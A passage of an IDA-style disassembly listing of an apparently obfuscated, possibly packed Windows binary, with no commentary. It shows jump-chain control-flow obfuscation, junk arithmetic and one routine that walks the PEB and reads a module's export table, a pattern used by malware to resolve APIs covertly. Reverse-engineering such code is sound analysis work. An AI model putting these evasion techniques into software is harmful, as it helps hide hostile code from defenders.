		pop	edx
		retn
; END OF FUNCTION CHUNK	FOR sub_40B0B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FC80


loc_40DFCB:				; CODE XREF: sub_40FC80+10j
		jmp	loc_40E8F1
; END OF FUNCTION CHUNK	FOR sub_40FC80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B7DE


loc_40DFD0:				; CODE XREF: sub_40B7DE+4162j
		jmp	nullsub_125
; END OF FUNCTION CHUNK	FOR sub_40B7DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40717E


loc_40DFD5:				; CODE XREF: sub_40717E+6ABBj
		jmp	loc_40EA05
; END OF FUNCTION CHUNK	FOR sub_40717E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A915


loc_40DFDA:				; CODE XREF: sub_40A915+4j
		jmp	loc_40FC28
; END OF FUNCTION CHUNK	FOR sub_40A915
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_49. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F4E5


loc_40DFE0:				; CODE XREF: sub_40F4E5+Aj
		jmp	loc_406058
; END OF FUNCTION CHUNK	FOR sub_40F4E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408A93


loc_40DFE5:				; CODE XREF: sub_408A93+1Cj
		jmp	loc_40A648
; END OF FUNCTION CHUNK	FOR sub_408A93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4061B1


loc_40DFEA:				; CODE XREF: sub_4061B1+8j
		jz	loc_40EF56
		jmp	loc_40D424
; END OF FUNCTION CHUNK	FOR sub_4061B1

; =============== S U B	R O U T	I N E =======================================



sub_40DFF5	proc near		; CODE XREF: sub_40610A:loc_409BEDp

var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch

; FUNCTION CHUNK AT 004051FC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00405231 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00405586 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00406259 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00406362 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00406519 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00406532 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004067DA SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00408ADA SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00409EC7 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0040A69A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040AB52 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040C9CD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040DB25 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DEA9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040F66C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00410B53 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410E1A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410F8C SIZE 00000004 BYTES

		push	ebx
		push	ecx
		mov	eax, large fs:30h
		mov	eax, [eax+0Ch]
		mov	eax, [eax+0Ch]


loc_40E004:				; CODE XREF: sub_409D6B+C6Fj
					; sub_40C704+2j
		jnb	loc_405231
		jmp	loc_40E069
; ---------------------------------------------------------------------------


loc_40E00F:				; CODE XREF: sub_408CACj
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		jmp	loc_408ADA
; ---------------------------------------------------------------------------
		xchg	eax, [edx]
		popf
		jmp	sub_40A312
; ---------------------------------------------------------------------------


loc_40E022:				; CODE XREF: _837l4vi2:00408C36j
		ror	esi, 11h


loc_40E025:				; CODE XREF: sub_40A799:loc_408C25j
		add	eax, 1A29F75Bh
		call	sub_40E13A
		lea	eax, [ebp-14h]
		jmp	loc_410B53
; ---------------------------------------------------------------------------


loc_40E038:				; CODE XREF: sub_4060AF:loc_40DECAj
		cmp	ebx, 7D5EBC0Dh
		jmp	loc_40DEA9
; ---------------------------------------------------------------------------


loc_40E043:				; CODE XREF: sub_407C12:loc_407789j
					; sub_405D62:loc_40A16Bj
		mov	edi, ecx
		xchg	edi, [esp+0]
		call	sub_40DF94


loc_40E04D:				; CODE XREF: sub_405FB4+9070j
		jmp	sub_40B99D
; ---------------------------------------------------------------------------


loc_40E052:				; CODE XREF: sub_409D6B+4401j
		mov	eax, [eax]
		push	offset loc_40B18F
		jmp	nullsub_74
; ---------------------------------------------------------------------------


loc_40E05E:				; CODE XREF: sub_40AA44-50FDj
		jnz	loc_407C4A
		jmp	loc_40777F
; ---------------------------------------------------------------------------


loc_40E069:				; CODE XREF: sub_40DFF5+15j
		mov	ebx, [eax+18h]
		mov	ecx, [ebx+3Ch]
		mov	ecx, [ebx+ecx+78h]
		or	ecx, ecx
		jz	loc_410F9C
		mov	ecx, [ebx+ecx+0Ch]
		or	ecx, ecx
		jz	loc_410F9C
		jmp	loc_40AB52
sub_40DFF5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B99D


loc_40E08C:				; CODE XREF: sub_40B99D:loc_4074F1j
		jnz	loc_41004F
		add	ecx, ebx
		jmp	loc_40BF12
; END OF FUNCTION CHUNK	FOR sub_40B99D
; ---------------------------------------------------------------------------


loc_40E099:				; DATA XREF: sub_40A674o
		mov	[esp], eax
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E09D	proc near		; CODE XREF: sub_4104E3-2DCBp
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		mov	ebp, offset loc_40F548
		xchg	ebp, [esp+0]
		jmp	nullsub_75
sub_40E09D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40601E


loc_40E0B0:				; CODE XREF: sub_40601E:loc_40CC45j
		and	eax, edx
		jz	loc_410F3D
		jmp	loc_40746D
; END OF FUNCTION CHUNK	FOR sub_40601E
; ---------------------------------------------------------------------------
		push	ebp
		jmp	loc_40B912
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EC3B


loc_40E0C3:				; CODE XREF: _837l4vi2:loc_40DF6Cj
					; sub_40EC3B:loc_40F129j
		mov	[ebp-4], eax
		mov	eax, offset dword_406B6C
		call	sub_409BAD
		call	sub_409B9D
; END OF FUNCTION CHUNK	FOR sub_40EC3B
; START	OF FUNCTION CHUNK FOR sub_4056BA


loc_40E0D5:				; CODE XREF: sub_4056BA+8F7Fj
		jmp	loc_40A6E5
; END OF FUNCTION CHUNK	FOR sub_4056BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AA44


loc_40E0DA:				; CODE XREF: sub_40AA44-3639j
		jmp	loc_4088CE
; END OF FUNCTION CHUNK	FOR sub_40AA44

; =============== S U B	R O U T	I N E =======================================



sub_40E0DF	proc near		; CODE XREF: sub_40882B+Dp
					; _837l4vi2:0040AED1j

; FUNCTION CHUNK AT 004053D2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0041048A SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004104AC SIZE 00000008 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		or	eax, eax
		jnz	loc_4104AC
		call	sub_409D6B
		jmp	loc_41048A
sub_40E0DF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A454


loc_40E0F6:				; CODE XREF: sub_40A454-2CDFj
		jmp	loc_409473
; END OF FUNCTION CHUNK	FOR sub_40A454

; =============== S U B	R O U T	I N E =======================================



sub_40E0FB	proc near		; CODE XREF: sub_40DF4A-3E64j
					; sub_40B67D-F42j ...

; FUNCTION CHUNK AT 0040E9CC SIZE 00000007 BYTES

		jb	sub_40AB24
		push	ebp
		call	sub_40A799


loc_40E107:				; CODE XREF: sub_4071CD+Aj
		jmp	loc_40E9CC
sub_40E0FB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4078C8


loc_40E10C:				; CODE XREF: sub_4078C8:loc_409771j
		mov	[esp+4+var_4], edx
		push	eax
		mov	eax, [ebp-4]
		mov	eax, [eax+3Ch]
		cdq
		add	eax, [esp+8+var_8]
		jmp	loc_4097A3
; END OF FUNCTION CHUNK	FOR sub_4078C8
; ---------------------------------------------------------------------------


loc_40E11F:				; DATA XREF: sub_405984+A085o
		add	edi, 7245CCBEh
		and	edx, edi
		mov	edi, offset loc_4051DD
		xchg	edi, [esp]
		jmp	loc_40A2C1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_13. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4055BD


loc_40E135:				; CODE XREF: sub_4055BD+10j
		jmp	loc_40E5BE
; END OF FUNCTION CHUNK	FOR sub_4055BD

; =============== S U B	R O U T	I N E =======================================



sub_40E13A	proc near		; CODE XREF: sub_4059FC-273p
					; sub_4059FC+682p ...

; FUNCTION CHUNK AT 0040CFAA SIZE 00000005 BYTES

		push	offset sub_407EF6
		jmp	loc_40CFAA
sub_40E13A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40882B


loc_40E144:				; CODE XREF: sub_40882B:loc_40C43Bj
		shr	esi, 1Dh
		add	ebp, 13143147h
		test	ebx, 3112A675h
		jmp	loc_40C732
; END OF FUNCTION CHUNK	FOR sub_40882B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409D6B


loc_40E158:				; CODE XREF: sub_409D6B:loc_409B79j
		or	eax, 1BD0A6C6h
		xor	eax, 6F6E8C83h
		add	eax, ebp
		add	eax, 8F499CB4h
		jmp	loc_40E052
; END OF FUNCTION CHUNK	FOR sub_409D6B
; ---------------------------------------------------------------------------
		mov	[ebp+0], esi
		jmp	sub_4093C7
; ---------------------------------------------------------------------------

locret_40E179:				; CODE XREF: _837l4vi2:loc_40B32Fj
					; _837l4vi2:loc_40C58Aj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DC8C


loc_40E17A:				; CODE XREF: sub_40DC8C+4j
		jmp	loc_4079AC
; END OF FUNCTION CHUNK	FOR sub_40DC8C
; ---------------------------------------------------------------------------


loc_40E17F:				; CODE XREF: _837l4vi2:0040C75Fj
		jmp	loc_40E78D
; ---------------------------------------------------------------------------


loc_40E184:				; CODE XREF: _837l4vi2:loc_40F02Bj
		jnz	loc_40A935
		jmp	loc_40E7B6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409A88


loc_40E18F:				; CODE XREF: sub_409A88:loc_40D0CDj
		pop	ecx
		shl	eax, 3
		mov	edx, [ebp+8]
		or	[edx-8], eax
		jmp	loc_40D793
; END OF FUNCTION CHUNK	FOR sub_409A88
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A050


loc_40E19E:				; CODE XREF: sub_40A050-1675j
		test	esi, ecx
		jmp	loc_410DFB
; END OF FUNCTION CHUNK	FOR sub_40A050
; ---------------------------------------------------------------------------


loc_40E1A5:				; CODE XREF: _837l4vi2:00410614j
		add	eax, 0A607C1Fh
		push	offset loc_40CE2C
		jmp	loc_406B81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4061E8


loc_40E1B5:				; CODE XREF: sub_4061E8+AAFj
		jz	loc_40ACE6
		add	ebx, 729548E8h
		jmp	loc_40B435
; END OF FUNCTION CHUNK	FOR sub_4061E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AE2D


loc_40E1C6:				; CODE XREF: sub_40AE2D-188Aj
		not	edi
		jmp	loc_406D13
; END OF FUNCTION CHUNK	FOR sub_40AE2D

; =============== S U B	R O U T	I N E =======================================



sub_40E1CD	proc near		; CODE XREF: sub_4061E8+16p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00406391 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0040A1E1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D33D SIZE 0000000D BYTES

		mov	[esp+0], eax
		push	0C21B7Ch
		xor	[esp+4+var_4], 0FF3DE483h
		push	88266E5h
		pop	eax
		and	eax, 0E3EBBB9Ch
		jmp	loc_406391
sub_40E1CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E1ED	proc near		; DATA XREF: _837l4vi2:00409A50o
		xchg	edx, [esp+0]
		jmp	loc_40C3AA
sub_40E1ED	endp

; ---------------------------------------------------------------------------
		sbb	eax, 0F54907FEh
		and	ecx, edi
		jmp	loc_40C2AB
; ---------------------------------------------------------------------------


loc_40E202:				; CODE XREF: _837l4vi2:loc_410020j
		jnz	loc_409048
		jmp	loc_40F242
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A1E6


loc_40E20D:				; CODE XREF: sub_40A1E6:loc_405029j
		jz	locret_40A221
		push	2872F032h
		pop	eax
		and	eax, 0EAFAFE95h
		jmp	loc_409228
; END OF FUNCTION CHUNK	FOR sub_40A1E6
; ---------------------------------------------------------------------------
		cmp	ebp, esi
		jmp	loc_40AEA6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406C7D


loc_40E22B:				; CODE XREF: sub_406C7D-8F7j
					; sub_40D735:loc_410010j
		sbb	eax, edi
		sub	ebx, edx
		cmp	ebp, eax
		jmp	loc_40559A
; END OF FUNCTION CHUNK	FOR sub_406C7D

; =============== S U B	R O U T	I N E =======================================



sub_40E236	proc near		; DATA XREF: sub_40A24F+615Fo

; FUNCTION CHUNK AT 00406412 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040772C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040806E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00409B0A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040ACC2 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040AE83 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040F5A2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410E91 SIZE 00000009 BYTES

		call	sub_409D80
		cmp	dword ptr [ebp-0Ch], 0
		jz	loc_409523
		jmp	loc_409B0A
sub_40E236	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D7F5


loc_40E24A:				; CODE XREF: sub_40D7F5-603Dj
					; sub_40D7F5:loc_40A211j
		call	sub_40B088
		push	71706FD4h
		pop	edx
		add	edx, 4D1C71E3h
		call	sub_40E739
		push	ebx
		jmp	loc_4082A7
; END OF FUNCTION CHUNK	FOR sub_40D7F5

; =============== S U B	R O U T	I N E =======================================



sub_40E266	proc near		; CODE XREF: _837l4vi2:loc_40AE8Ap
					; _837l4vi2:0040D3BFj

; FUNCTION CHUNK AT 004094F5 SIZE 00000011 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		xor	ecx, 0A860CE0Ch
		add	ecx, ebp
		jmp	loc_4094F5
sub_40E266	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40E277	proc near		; CODE XREF: _837l4vi2:00409724j
					; sub_40D31D:loc_410EF1p
		xchg	ebx, [esp+0]
		pop	ebx
		add	ecx, 3DC5F292h
		call	sub_410A22
sub_40E277	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_408567


loc_40E286:				; CODE XREF: sub_408567+13j
					; sub_40882B:loc_40C732j
		jz	loc_4090F6
		jmp	loc_40B545
; END OF FUNCTION CHUNK	FOR sub_408567
; ---------------------------------------------------------------------------
		shr	edi, 0Fh

; =============== S U B	R O U T	I N E =======================================



sub_40E294	proc near		; CODE XREF: sub_40F5FA+5p

; FUNCTION CHUNK AT 004054BF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00406C39 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409D9A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040A860 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040B5E5 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040DAF7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DC7E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E522 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040ED6C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040EF30 SIZE 00000010 BYTES

		mov	[esp+0], eax
		pop	eax
		mov	eax, ds:dword_411040
		or	eax, eax
		jnz	loc_40E522
		jmp	loc_40ED6C
sub_40E294	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4085A2


loc_40E2AB:				; CODE XREF: sub_4085A2-24B6j
		adc	ebp, 9BD7042Dh
		xchg	ebp, edi


loc_40E2B3:				; CODE XREF: sub_4085A2:loc_40537Bj
		push	ecx
		push	0D19C08EEh
		pop	ecx
		add	ecx, 2EA48D48h
		jmp	loc_40CB20
; END OF FUNCTION CHUNK	FOR sub_4085A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40801F


loc_40E2C5:				; CODE XREF: sub_40801F+10j
		mov	eax, [ebp+8]
		test	byte ptr [eax-7], 10h
		jz	loc_410309
		inc	dword ptr [ebp-8]


loc_40E2D5:				; CODE XREF: sub_40801F:loc_4059A8j
					; sub_40801F:loc_410122j
		mov	eax, [ebp-8]
		pop	ecx
		pop	ecx
		jmp	loc_410302
; END OF FUNCTION CHUNK	FOR sub_40801F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CD8A


loc_40E2DF:				; CODE XREF: sub_40CD8A+8j
		push	0C27059F0h
		pop	eax
		or	eax, 2C17DEA7h
		rol	eax, 14h
		jmp	loc_405F39
; END OF FUNCTION CHUNK	FOR sub_40CD8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40926F


loc_40E2F3:				; CODE XREF: sub_40926F+57E2j
		pushf
		push	8D7116CAh
		pop	edx
		rol	edx, 14h
		jmp	loc_40AA2A
; END OF FUNCTION CHUNK	FOR sub_40926F

; =============== S U B	R O U T	I N E =======================================



sub_40E302	proc near		; DATA XREF: sub_4103D0-8385o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00407B6D SIZE 00000005 BYTES

		mov	eax, esp
		push	949CBAFEh
		xor	[esp+4+var_4], 949CBAFEh
		mov	edx, esp
		push	edx
		push	0
		push	eax
		push	offset loc_4106FF
		jmp	loc_407B6D
sub_40E302	endp

; ---------------------------------------------------------------------------


loc_40E320:				; CODE XREF: _837l4vi2:00409FC4j
		jnz	loc_40EF33
		push	eax
		xor	esi, 94B906F9h


loc_40E32D:				; CODE XREF: _837l4vi2:loc_40CE21j
		call	sub_405606
		jmp	loc_40D58D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_40E337:				; CODE XREF: sub_40D735:loc_410D0Dj
		jnz	loc_4063FB
		jmp	loc_409A6A
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4104E3


loc_40E342:				; CODE XREF: sub_4104E3-A3A2j
		push	edx
		mov	[esp+0], eax
		rol	eax, 5
		push	edi
		push	0DA17C960h
		pop	edi
		add	edi, 262915D4h
		mov	[edi], eax
		jmp	loc_40869B
; END OF FUNCTION CHUNK	FOR sub_4104E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DEDE


loc_40E35D:				; CODE XREF: sub_40DEDE-1ABEj
		cmp	dword ptr [ebp-4], 0
		jz	loc_40B991
		mov	eax, [ebp-4]
		add	eax, 3Ch
		call	sub_405723


loc_40E372:				; CODE XREF: sub_409E97+3A4Ej
		jmp	loc_40DBAF
; END OF FUNCTION CHUNK	FOR sub_40DEDE
; ---------------------------------------------------------------------------

locret_40E377:				; CODE XREF: _837l4vi2:00408726j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EAE8


loc_40E378:				; CODE XREF: sub_40EAE8+7j
		jmp	nullsub_156
; END OF FUNCTION CHUNK	FOR sub_40EAE8
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, [ebp-8]
		xchg	eax, edx
		pushf
		mov	[esp], edx
		xchg	eax, edx
		call	sub_409926
		push	eax
		jmp	loc_409A5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CBB2


loc_40E394:				; CODE XREF: sub_40CBB2+1A9Cj
		test	edx, ebx
		jmp	loc_4075F5
; END OF FUNCTION CHUNK	FOR sub_40CBB2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_171. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4061B1


loc_40E39C:				; CODE XREF: sub_4061B1+66C7j
		cmp	ecx, edi
		jmp	loc_40BE62
; END OF FUNCTION CHUNK	FOR sub_4061B1
; ---------------------------------------------------------------------------


loc_40E3A3:				; CODE XREF: _837l4vi2:0040C181j
		sub	ecx, 27863667h
		adc	ebx, ecx
		sub	ecx, 55376431h
		jmp	loc_40FD73
; ---------------------------------------------------------------------------
		jnb	loc_407661
		jmp	sub_40778E
; ---------------------------------------------------------------------------


loc_40E3C1:				; DATA XREF: sub_40AF01+6o
		pop	ebp
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408F30


loc_40E3C3:				; CODE XREF: sub_408F30+Aj
		jmp	loc_405C0B
; END OF FUNCTION CHUNK	FOR sub_408F30

; =============== S U B	R O U T	I N E =======================================



sub_40E3C8	proc near		; CODE XREF: _837l4vi2:00408A07p
					; sub_40DF72+2B86p

var_C		= dword	ptr -0Ch

; FUNCTION CHUNK AT 00405141 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004063E9 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040687E SIZE 0000002D BYTES
; FUNCTION CHUNK AT 00406910 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00407804 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040874F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004087DD SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00409054 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00409A7E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409BD9 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 00409FAE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040A68A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040AF5B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040B2EF SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040C1FB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040C459 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040CA40 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040D3AF SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040DB2A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DD82 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E63E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040F183 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410C13 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00410DD4 SIZE 00000004 BYTES

		push	eax
		call	sub_40A2AB
		call	sub_40C846


loc_40E3D3:				; CODE XREF: sub_40D977+D1Fj
		push	1B2E100Ah
		mov	esi, eax


loc_40E3DA:				; CODE XREF: sub_40D977:loc_40E68Ej
		xor	eax, 1EBD6ADCh
		add	eax, ebp
		jmp	loc_40DD82
sub_40E3C8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408BA9


loc_40E3E7:				; CODE XREF: sub_408BA9+Cj
		mov	ecx, [esp+4+arg_8]
		mov	dword ptr [ecx], 10001h
		lea	eax, loc_40860C
		push	edi
		push	259B276Eh
		jmp	loc_40E60D
; END OF FUNCTION CHUNK	FOR sub_408BA9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CBC2


loc_40E402:				; CODE XREF: sub_40CBC2-6BC2j
		mov	eax, [ebp+8]


loc_40E405:				; CODE XREF: sub_409EE8+7j
		mov	eax, [eax-18h]
		and	eax, 7
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-10h], 0
		jnz	loc_408240
		jmp	loc_407D33
; END OF FUNCTION CHUNK	FOR sub_40CBC2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40926F


loc_40E41D:				; CODE XREF: sub_40926F+2DD5j
		call	sub_40D84E
		cmp	eax, [ebp+var_8]
		jnz	loc_40F658
		mov	eax, [ebp+var_14]
		jmp	loc_410AB2
; END OF FUNCTION CHUNK	FOR sub_40926F
; ---------------------------------------------------------------------------
		mov	edx, ebx
		jmp	sub_405FB4
; ---------------------------------------------------------------------------


loc_40E43A:				; DATA XREF: _837l4vi2:0040660Ao
		test	al, al
		jz	loc_40C9FE
		jmp	loc_40EA6A
; ---------------------------------------------------------------------------


loc_40E447:				; CODE XREF: _837l4vi2:004090D1j
		mov	esi, eax

; =============== S U B	R O U T	I N E =======================================



sub_40E449	proc near		; CODE XREF: sub_409D6B:loc_41004Fp

; FUNCTION CHUNK AT 00407AFC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E72F SIZE 0000000A BYTES

		xchg	edi, [esp+0]
		pop	edi
		add	ecx, 3CE95D84h
		call	sub_40AC37


loc_40E458:				; CODE XREF: _837l4vi2:0040B6C4j
		jnz	loc_40E72F
		jmp	loc_40FA7C
sub_40E449	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40E463	proc near		; DATA XREF: sub_405BCA+6o
		xchg	edx, [esp+0]
		mov	ebp, edx
		pop	edx
		push	788C3F2Fh
		mov	eax, offset loc_40958A
		xchg	eax, [esp+0]
		retn
sub_40E463	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40966E


loc_40E477:				; CODE XREF: sub_40966E:loc_40FA82j
		jz	loc_406BAE
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F7h
		jnz	loc_40B814
		jmp	loc_40F926
; END OF FUNCTION CHUNK	FOR sub_40966E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_174. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406834


loc_40E493:				; CODE XREF: sub_406834+6980j
		shl	eax, 7
		mov	edx, [ebp+arg_0]
		mov	edx, [edx-8]
		or	edx, 40h
		or	eax, edx
		mov	edx, [ebp+arg_0]
		jmp	loc_4076DE
; END OF FUNCTION CHUNK	FOR sub_406834
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405C17


loc_40E4A9:				; CODE XREF: sub_405C17+569Aj
		or	esi, ebx


loc_40E4AB:				; CODE XREF: sub_405C17:loc_40EAF4j
		call	sub_409D6B
		push	4954BC6Ch
		pop	edx
		xor	edx, 1FBEE7FDh
		call	sub_410C38

locret_40E4C1:				; CODE XREF: _837l4vi2:loc_40F119j
		retn
; END OF FUNCTION CHUNK	FOR sub_405C17
; ---------------------------------------------------------------------------
		sub	ebp, 618EE8B6h
		jmp	loc_40B259
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B859


loc_40E4CD:				; CODE XREF: sub_40B859:loc_4078F2j
		xor	esi, eax
		jmp	loc_40C454
; END OF FUNCTION CHUNK	FOR sub_40B859
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4067F8


loc_40E4D4:				; CODE XREF: sub_4067F8:loc_406632j
		push	offset loc_41055F
		jmp	loc_40DA16
; END OF FUNCTION CHUNK	FOR sub_4067F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CF3C


loc_40E4DE:				; CODE XREF: sub_40CF3C:loc_40DA9Bj
		jnz	loc_40E5ED
		jmp	loc_40EE46
; END OF FUNCTION CHUNK	FOR sub_40CF3C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409E44


loc_40E4E9:				; CODE XREF: sub_409E44-200Bj
		shl	ebx, 4
		jmp	loc_40EFFC
; END OF FUNCTION CHUNK	FOR sub_409E44

; =============== S U B	R O U T	I N E =======================================



sub_40E4F1	proc near		; CODE XREF: _837l4vi2:0040955Dj
					; sub_40A050:loc_410771p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0040502E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00405BDA SIZE 00000023 BYTES
; FUNCTION CHUNK AT 004073B6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00408E6D SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00408EA5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040A660 SIZE 00000014 BYTES

		xchg	edi, [esp+4+var_4]
		pop	edi
		push	esi
		xchg	ecx, esi
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_40D41C
		or	eax, eax
		jmp	loc_408EA5
sub_40E4F1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	eax
		rol	eax, 10h
		mov	ds:dword_411040, eax
		retn
; ---------------------------------------------------------------------------


